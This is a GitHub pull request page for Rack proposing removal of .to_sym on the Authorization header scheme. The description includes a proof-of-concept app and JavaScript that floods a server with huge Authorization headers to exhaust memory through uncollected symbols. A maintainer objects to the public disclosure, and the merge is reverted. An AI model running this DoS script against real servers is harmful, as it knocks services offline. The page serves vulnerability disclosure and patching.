Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Already on GitHub? Sign in to your account

Remove .to_sym in Authorization scheme #494

Merged
merged 1 commit into from Jan 13, 2013

Conversation

Projects
None yet
3 participants
Contributor

homakov commented Jan 13, 2013

Hello, .to_sym should never be applied on user input. Thus I recommend you to change scheme method:

  def scheme
    @scheme ||= parts.first.downcase.to_sym
  end
@homakov homakov Remove .to_sym in Authorization scheme
Hello, `.to_sym` should never be applied on user input. Thus I recommend you to change `scheme` method:
```
  def scheme
    @scheme ||= parts.first.downcase.to_sym
  end
```
While we can't send enourmous emount of `Authorization` headers we can make it as long as it's possible. 
This is PoC. App:
```
cat config.ru 
require 'rack'
run lambda{|e|
    auth =  Rack::Auth::Basic::Request.new(e)
    puts auth.basic? if auth.provided?
    puts Symbol.all_symbols.size
    [200, {'Content-Type'=>'text/html'},['IM FINE']]
}
```
Simple Javascript to DoS it:
```
var base = ["aa", "ab", "ac", "ad", "ae", "af", "ag", "ah", "ai", "aj", "ak", "al", "am", "an", "ao", "ap", "aq", "ar", "as", "at", "au", "av", "aw", "ax", "ay", "az", "ba", "bb", "bc", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bk", "bl", "bm", "bn", "bo", "bp", "bq", "br", "bs", "bt", "bu", "bv", "bw", "bx", "by", "bz", "ca", "cb", "cc", "cd", "ce", "cf", "cg", "ch", "ci", "cj", "ck", "cl", "cm", "cn", "co", "cp", "cq", "cr", "cs", "ct", "cu", "cv", "cw", "cx", "cy", "cz", "da", "db", "dc", "dd", "de", "df", "dg", "dh", "di", "dj", "dk", "dl", "dm", "dn", "do", "dp", "dq", "dr", "ds", "dt", "du", "dv", "dw", "dx", "dy", "dz", "ea", "eb", "ec", "ed", "ee", "ef", "eg", "eh", "ei", "ej", "ek", "el", "em", "en", "eo", "ep", "eq", "er", "es", "et", "eu", "ev", "ew", "ex", "ey", "ez", "fa", "fb", "fc", "fd", "fe", "ff", "fg", "fh", "fi", "fj", "fk", "fl", "fm", "fn", "fo", "fp", "fq", "fr", "fs", "ft", "fu", "fv", "fw", "fx", "fy", "fz", "ga", "gb", "gc", "gd", "ge", "gf", "gg", "gh", "gi", "gj", "gk", "gl", "gm", "gn", "go", "gp", "gq", "gr", "gs", "gt", "gu", "gv", "gw", "gx", "gy", "gz", "ha", "hb", "hc", "hd", "he", "hf", "hg", "hh", "hi", "hj", "hk", "hl", "hm", "hn", "ho", "hp", "hq", "hr", "hs", "ht", "hu", "hv", "hw", "hx", "hy", "hz", "ia", "ib", "ic", "id", "ie", "if", "ig", "ih", "ii", "ij", "ik", "il", "im", "in", "io", "ip", "iq", "ir", "is", "it", "iu", "iv", "iw", "ix", "iy", "iz", "ja", "jb", "jc", "jd", "je", "jf", "jg", "jh", "ji", "jj"];
var total_sent = 0
for(var num in base){
	var x = new XMLHttpRequest;
	x.open('GET','/'); 
	str = '';
	for(i=0;i<2000000;i++){
	    str+='Ё'+base[num]+i;
	}
	x.setRequestHeader('Authorization',str+' lol')
	x.send();
	console.log('Total sent: ',total_sent+=str.length);
}
```
When we run JS every request carries 18888890 letters in a symbol. This 'data' will never be garbarge collectored.
Should it be fixed?
a744eb0

@rkh rkh added a commit that referenced this pull request Jan 13, 2013

@rkh rkh Merge pull request #494 from homakov/patch-2
Remove .to_sym in Authorization scheme
9b76e4f

@rkh rkh merged commit 9b76e4f into rack:master Jan 13, 2013

1 check passed

default The Travis build passed
Details
Owner

raggi commented on a744eb0 Jan 13, 2013

This is a breaking change, which is problematic, as I can't quickly backport this without breaking real applications. I'm going to have to try and get hold of affected parties (oauth implementations in particular), and try to get them to handle the backport and force releases out today just because you don't follow a responsible path. I appreciate you submitting reports of issues, but the manner in which you've done this is wholly irresponsible.

@raggi raggi added a commit that referenced this pull request Jan 13, 2013

@raggi raggi Revert "Merge pull request #494 from homakov/patch-2"
This reverts commit 9b76e4f, reversing
changes made to bf32f4b.
ac9afdc
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment